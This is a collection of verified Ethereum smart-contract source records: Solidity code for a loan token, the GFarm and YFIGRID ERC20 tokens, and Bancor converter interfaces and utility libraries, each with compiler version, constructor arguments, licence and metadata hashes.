borrowerFee = 25; // whitelist for transfers mapping(address => bool) public canTransfer; Status public override status; IERC20 public override currencyToken; /** * @dev Emitted when the loan is funded * @param lender Address which funded the loan */ event Funded(address lender); /** * @dev Emitted when transfer whitelist is updated * @param account Account to whitelist for transfers * @param status New whitelist status */ event TransferAllowanceChanged(address account, bool status); /** * @dev Emitted when borrower withdraws funds * @param beneficiary Account which will receive funds */ event Withdrawn(address beneficiary); /** * @dev Emitted when term is over * @param status Final loan status * @param returnedAmount Amount that was returned before expiry */ event Closed(Status status, uint256 returnedAmount); /** * @dev Emitted when a LoanToken is redeemed for underlying currencyTokens * @param receiver Receiver of currencyTokens * @param burnedAmount Amount of LoanTokens burned * @param redeemedAmount Amount of currencyToken received */ event Redeemed(address receiver, uint256 burnedAmount, uint256 redeemedAmount); /** * @dev Emitted when a LoanToken is repaid by the borrower in underlying currencyTokens * @param repayer Sender of currencyTokens * @param repaidAmount Amount of currencyToken repaid */ event Repaid(address repayer, uint256 repaidAmount); /** * @dev Emitted when borrower reclaims remaining currencyTokens * @param borrower Receiver of remaining currencyTokens * @param reclaimedAmount Amount of currencyTokens repaid */ event Reclaimed(address borrower, uint256 reclaimedAmount); /** * @dev Emitted when loan gets liquidated * @param status Final loan status */ event Liquidated(Status status); /** * @dev Create a Loan * @param _currencyToken Token to lend * @param _borrower Borrower address * @param _amount Borrow amount of currency tokens * @param _term Loan length * @param _apy Loan APY */ constructor( IERC20 _currencyToken, address _borrower, address _lender, address _liquidator, uint256 _amount, uint256 _term, uint256 _apy ) public ERC20("Loan Token", "LOAN") { require(_lender != address(0), "LoanToken: Lender is not set"); currencyToken = _currencyToken; borrower = _borrower; liquidator = _liquidator; amount = _amount; term = _term; apy = _apy; lender = _lender; debt = interest(amount); } /** * @dev Only borrower can withdraw & repay loan */ modifier onlyBorrower() { require(msg.sender == borrower, "LoanToken: Caller is not the borrower"); _; } /** * @dev Only liquidator can liquidate */ modifier onlyLiquidator() { require(msg.sender == liquidator, "LoanToken: Caller is not the liquidator"); _; } /** * @dev Only when loan is Settled */ modifier onlyClosed() { require(status >= Status.Settled, "LoanToken: Current status should be Settled or Defaulted"); _; } /** * @dev Only when loan is Funded */ modifier onlyOngoing() { require(status == Status.Funded || status == Status.Withdrawn, "LoanToken: Current status should be Funded or Withdrawn"); _; } /** * @dev Only when loan is Funded */ modifier onlyFunded() { require(status == Status.Funded, "LoanToken: Current status should be Funded"); _; } /** * @dev Only when loan is Withdrawn */ modifier onlyAfterWithdraw() { require(status >= Status.Withdrawn, "LoanToken: Only after loan has been withdrawn"); _; } /** * @dev Only when loan is Awaiting */ modifier onlyAwaiting() { require(status == Status.Awaiting, "LoanToken: Current status should be Awaiting"); _; } /** * @dev Only when loan is Defaulted */ modifier onlyDefaulted() { require(status == Status.Defaulted, "LoanToken: Current status should be Defaulted"); _; } /** * @dev Only whitelisted accounts or lender */ modifier onlyWhoCanTransfer(address sender) { require( sender == lender || canTransfer[sender], "LoanToken: This can be performed only by lender or accounts allowed to transfer" ); _; } /** * @dev Only lender can perform certain actions */ modifier onlyLender() { require(msg.sender == lender, "LoanToken: This can be performed only by lender"); _; } /** * @dev Return true if this contract is a LoanToken * @return True if this contract is a LoanToken */ function isLoanToken() external override pure returns (bool) { return true; } /** * @dev Get loan parameters * @return amount, term, apy */ function getParameters() external override view returns ( uint256, uint256, uint256 ) { return (amount, apy, term); } /** * @dev Get coupon value of this loan token in currencyToken * This assumes the loan will be paid back on time, with interest * @param _balance number of LoanTokens to get value for * @return coupon value of _balance LoanTokens in currencyTokens */ function value(uint256 _balance) external override view returns (uint256) { if (_balance == 0) { return 0; } uint256 passed = block.timestamp.sub(start); if (passed > term) { passed = term; } // assume year is 365 days uint256 interest = amount.mul(apy).mul(passed).div(365 days).div(10000); return amount.add(interest).mul(_balance).div(debt); } /** * @dev Fund a loan * Set status, start time, lender */ function fund() external override onlyAwaiting onlyLender { status = Status.Funded; start = block.timestamp; _mint(msg.sender, debt); require(currencyToken.transferFrom(msg.sender, address(this), receivedAmount())); emit Funded(msg.sender); } /** * @dev Whitelist accounts to transfer * @param account address to allow transfers for * @param _status true allows transfers, false disables transfers */ function allowTransfer(address account, bool _status) external override onlyLender { canTransfer[account] = _status; emit TransferAllowanceChanged(account, _status); } /** * @dev Borrower calls this function to withdraw funds * Sets the status of the loan to Withdrawn * @param _beneficiary address to send funds to */ function withdraw(address _beneficiary) external override onlyBorrower onlyFunded { status = Status.Withdrawn; require(currencyToken.transfer(_beneficiary, receivedAmount())); emit Withdrawn(_beneficiary); } /** * @dev Close the loan and check if it has been repaid */ function close() external override onlyOngoing { require(start.add(term) <= block.timestamp, "LoanToken: Loan cannot be closed yet"); if (_balance() >= debt) { status = Status.Settled; } else { require( start.add(term).add(lastMinutePaybackDuration) <= block.timestamp, "LoanToken: Borrower can still pay the loan back" ); status = Status.Defaulted; } emit Closed(status, _balance()); } /** * @dev Liquidate the loan if it has defaulted */ function liquidate() external override onlyDefaulted onlyLiquidator { status = Status.Liquidated; emit Liquidated(status); } /** * @dev Redeem LoanToken balances for underlying currencyToken * Can only call this function after the loan is Closed * @param _amount amount to redeem */ function redeem(uint256 _amount) external override onlyClosed { uint256 amountToReturn = _amount.mul(_balance()).div(totalSupply()); redeemed = redeemed.add(amountToReturn); _burn(msg.sender, _amount); require(currencyToken.transfer(msg.sender, amountToReturn)); emit Redeemed(msg.sender, _amount, amountToReturn); } /** * @dev Function for borrower to repay the loan * Borrower can repay at any time * @param _sender account sending currencyToken to repay * @param _amount amount of currencyToken to repay */ function repay(address _sender, uint256 _amount) external override onlyAfterWithdraw { require(_amount <= debt.sub(_balance()), "LoanToken: Cannot repay over the debt"); require(currencyToken.transferFrom(_sender, address(this), _amount)); emit Repaid(_sender, _amount); } /** * @dev Function for borrower to reclaim stuck currencyToken * Can only call this function after the loan is Closed * and all of LoanToken holders have been burnt */ function reclaim() external override onlyClosed onlyBorrower { require(totalSupply() == 0, "LoanToken: Cannot reclaim when LoanTokens are in circulation"); uint256 balanceRemaining = _balance(); require(balanceRemaining > 0, "LoanToken: Cannot reclaim when balance 0"); require(currencyToken.transfer(borrower, balanceRemaining)); emit Reclaimed(borrower, balanceRemaining); } /** * @dev Check how much was already repaid * Funds stored on the contract's address plus funds already redeemed by lenders * @return Uint256 representing what value was already repaid */ function repaid() external override view onlyAfterWithdraw returns (uint256) { return _balance().add(redeemed); } /** * @dev Public currency token balance function * @return currencyToken balance of this contract */ function balance() external override view returns (uint256) { return _balance(); } /** * @dev Get currency token balance for this contract * @return currencyToken balance of this contract */ function _balance() internal view returns (uint256) { return currencyToken.balanceOf(address(this)); } /** * @dev Calculate amount borrowed minus fee * @return Amount minus fees */ function receivedAmount() public override view returns (uint256) { return amount.sub(amount.mul(borrowerFee).div(10000)); } /** * @dev Calculate interest that will be paid by this loan for an amount (returned funds included) * amount + ((amount * apy * term) / (365 days / precision)) * @param _amount amount * @return uint256 Amount of interest paid for _amount */ function interest(uint256 _amount) internal view returns (uint256) { return _amount.add(_amount.mul(apy).mul(term).div(365 days).div(10000)); } /** * @dev get profit for this loan * @return profit for this loan */ function profit() external override view returns (uint256) { return debt.sub(amount); } /** * @dev Override ERC20 _transfer so only whitelisted addresses can transfer * @param sender sender of the transaction * @param recipient recipient of the transaction * @param _amount amount to send */ function _transfer( address sender, address recipient, uint256 _amount ) internal override onlyWhoCanTransfer(sender) { return super._transfer(sender, recipient, _amount); } }

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v0.6.10+commit.00c0fcaf

0000000000000000000000000000000000085d4780b73119b644ae5ecd22b3760000000000000000000000006ad71b4dd5bae567bcf3376fdc48ac5843e1920300000000000000000000000016d02dc67eb237c387023339356b25d1d54b092200000000000000000000000076dd4921c99ac6b61b3a98f9fa6f181ca6d70c7700000000000000000000000000000000000000000004f68ca6d8cd91c6000000000000000000000000000000000000000000000000000000000000000076a7000000000000000000000000000000000000000000000000000000000000000640

Default

MIT

ipfs://c3ae7d4a2bf3ee71694d42bdc1fb2fd32ef588970c07657739cba83c994fc8f7

GFarmToken

contracts\GFarmToken.sol

0x544288176bb6d7d198302a2d18fad38442e69b25

Solidity

pragma solidity 0.7.5; contract GFarmToken is ERC20, AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE"); constructor() ERC20("Gains", "GFARM") { // Set roles to dev => set roles for GFarm & GFarmTrading contracts => renounce roles _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); _setupRole(BURNER_ROLE, msg.sender); } // Mint GFARM tokens (only GFarm & GFarmTrading contracts) function mint(address to, uint amount) external { require(hasRole(MINTER_ROLE, msg.sender), "Caller is not a minter"); _mint(to, amount); } // Burn GFARM tokens (only GFarmTrading contract) function burn(address from, uint amount) external { require(hasRole(BURNER_ROLE, msg.sender), "Caller is not a burner"); _burn(from, amount); } }

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me":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"renounceRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"revokeRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

v0.7.5+commit.eb77ed08

Default

MIT

ipfs://0ba2fcac132a6ad7dc9b1cfb177c2ba930749f86e0a7ed26497e59817333f347

YFIGRID

@openzeppelin/contracts/utils/Address.sol

0xd947077fe42cd95a6b66a85680f06e719f9a7154

Solidity

pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract YFIGRID is ERC20("YFIGRID.FINANCE", "YFG"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } }

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v0.6.12+commit.27d51765

Default

GNU GPLv2

ipfs://3c34a9baa8e6e972159157f47823406bfc5175535c31aa522be61d2c7446d4d4

LiquidityPoolV1Converter

contracts/token/interfaces/IERC20Token.sol

0x16ff969cc3a4ae925d9c0a2851e2386d61e75954

Solidity

pragma solidity 0.4.26; /* ERC20 Standard Token interface */ contract IERC20Token { // these functions aren't abstract since the compiler emits automatically generated getter functions as external function name() public view returns (string) {this;} function symbol() public view returns (string) {this;} function decimals() public view returns (uint8) {this;} function totalSupply() public view returns (uint256) {this;} function balanceOf(address _owner) public view returns (uint256) {_owner; this;} function allowance(address _owner, address _spender) public view returns (uint256) {_owner; _spender; this;} function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); }

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v0.4.26+commit.4563c3fc

000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd40000000000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

bzzr://59c0b8af441dae51deb14e69367acf01fff003f2840aadf572e285e1d480403a

LiquidityPoolV1Converter

contracts/utility/interfaces/IWhitelist.sol

0x16ff969cc3a4ae925d9c0a2851e2386d61e75954

Solidity

pragma solidity 0.4.26; /* Whitelist interface */ contract IWhitelist { function isWhitelisted(address _address) public view returns (bool); }

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v0.4.26+commit.4563c3fc

000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd40000000000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

bzzr://59c0b8af441dae51deb14e69367acf01fff003f2840aadf572e285e1d480403a

LiquidityPoolV1Converter

contracts/converter/interfaces/IBancorFormula.sol

0x16ff969cc3a4ae925d9c0a2851e2386d61e75954

Solidity

pragma solidity 0.4.26; /* Bancor Formula interface */ contract IBancorFormula { function purchaseRate(uint256 _supply, uint256 _reserveBalance, uint32 _reserveWeight, uint256 _amount) public view returns (uint256); function saleRate(uint256 _supply, uint256 _reserveBalance, uint32 _reserveWeight, uint256 _amount) public view returns (uint256); function crossReserveRate(uint256 _sourceReserveBalance, uint32 _sourceReserveWeight, uint256 _targetReserveBalance, uint32 _targetReserveWeight, uint256 _amount) public view returns (uint256); function fundCost(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _amount) public view returns (uint256); function liquidateRate(uint256 _supply, uint256 _reserveBalance, uint32 _reserveRatio, uint256 _amount) public view returns (uint256); }

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v0.4.26+commit.4563c3fc

000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd40000000000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

bzzr://59c0b8af441dae51deb14e69367acf01fff003f2840aadf572e285e1d480403a

LiquidityPoolV1Converter

contracts/IBancorNetwork.sol

0x16ff969cc3a4ae925d9c0a2851e2386d61e75954

Solidity

pragma solidity 0.4.26; /* Bancor Network interface */ contract IBancorNetwork { function convert2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) public payable returns (uint256); function claimAndConvert2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _affiliateAccount, uint256 _affiliateFee ) public returns (uint256); function convertFor2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, address _affiliateAccount, uint256 _affiliateFee ) public payable returns (uint256); function claimAndConvertFor2( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for, address _affiliateAccount, uint256 _affiliateFee ) public returns (uint256); // deprecated, backward compatibility function convert( IERC20Token[] _path, uint256 _amount, uint256 _minReturn ) public payable returns (uint256); // deprecated, backward compatibility function claimAndConvert( IERC20Token[] _path, uint256 _amount, uint256 _minReturn ) public returns (uint256); // deprecated, backward compatibility function convertFor( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for ) public payable returns (uint256); // deprecated, backward compatibility function claimAndConvertFor( IERC20Token[] _path, uint256 _amount, uint256 _minReturn, address _for ) public returns (uint256); }

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v0.4.26+commit.4563c3fc

000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd40000000000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

bzzr://59c0b8af441dae51deb14e69367acf01fff003f2840aadf572e285e1d480403a

LiquidityPoolV1Converter

contracts/utility/Utils.sol

0x16ff969cc3a4ae925d9c0a2851e2386d61e75954

Solidity

pragma solidity 0.4.26; /** * @dev Utilities & Common Modifiers */ contract Utils { // verifies that a value is greater than zero modifier greaterThanZero(uint256 _value) { _greaterThanZero(_value); _; } // error message binary size optimization function _greaterThanZero(uint256 _value) internal pure { require(_value > 0, "ERR_ZERO_VALUE"); } // validates an address - currently only checks that it isn't null modifier validAddress(address _address) { _validAddress(_address); _; } // error message binary size optimization function _validAddress(address _address) internal pure { require(_address != address(0), "ERR_INVALID_ADDRESS"); } // verifies that the address is different than this contract address modifier notThis(address _address) { _notThis(_address); _; } // error message binary size optimization function _notThis(address _address) internal view { require(_address != address(this), "ERR_ADDRESS_IS_SELF"); } }

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v0.4.26+commit.4563c3fc

000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd40000000000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

bzzr://59c0b8af441dae51deb14e69367acf01fff003f2840aadf572e285e1d480403a

LiquidityPoolV1Converter

contracts/utility/ReentrancyGuard.sol

0x16ff969cc3a4ae925d9c0a2851e2386d61e75954

Solidity

pragma solidity 0.4.26; /** * @dev ReentrancyGuard * * The contract provides protection against re-entrancy - calling a function (directly or * indirectly) from within itself. */ contract ReentrancyGuard { // true while protected code is being executed, false otherwise bool private locked = false; /** * @dev ensures instantiation only by sub-contracts */ constructor() internal {} // protects a function against reentrancy attacks modifier protected() { _protected(); locked = true; _; locked = false; } // error message binary size optimization function _protected() internal view { require(!locked, "ERR_REENTRANCY"); } }

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v0.4.26+commit.4563c3fc

000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd40000000000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

bzzr://59c0b8af441dae51deb14e69367acf01fff003f2840aadf572e285e1d480403a

LiquidityPoolV1Converter

contracts/utility/SafeMath.sol

0x16ff969cc3a4ae925d9c0a2851e2386d61e75954

Solidity

pragma solidity 0.4.26; /** * @dev Library for basic math operations with overflow/underflow protection */ library SafeMath { /** * @dev returns the sum of _x and _y, reverts if the calculation overflows * * @param _x value 1 * @param _y value 2 * * @return sum */ function add(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; require(z >= _x, "ERR_OVERFLOW"); return z; } /** * @dev returns the difference of _x minus _y, reverts if the calculation underflows * * @param _x minuend * @param _y subtrahend * * @return difference */ function sub(uint256 _x, uint256 _y) internal pure returns (uint256) { require(_x >= _y, "ERR_UNDERFLOW"); return _x - _y; } /** * @dev returns the product of multiplying _x by _y, reverts if the calculation overflows * * @param _x factor 1 * @param _y factor 2 * * @return product */ function mul(uint256 _x, uint256 _y) internal pure returns (uint256) { // gas optimization if (_x == 0) return 0; uint256 z = _x * _y; require(z / _x == _y, "ERR_OVERFLOW"); return z; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. * * @param _x dividend * @param _y divisor * * @return quotient */ function div(uint256 _x, uint256 _y) internal pure returns (uint256) { require(_y > 0, "ERR_DIVIDE_BY_ZERO"); uint256 c = _x / _y; return c; } }

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v0.4.26+commit.4563c3fc

000000000000000000000000ffffffffffffffffffffffffffffffffffffffff00000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd40000000000000000000000000000000000000000000000000000000000000000

Default

Apache-2.0

bzzr://59c0b8af441dae51deb14e69367acf01fff003f2840aadf572e285e1d480403a

LiquidityPoolV1Converter

contracts/token/interfaces/IEtherToken.sol

0x16ff969cc3a4ae925d9c0a2851e2386d61e75954

Solidity

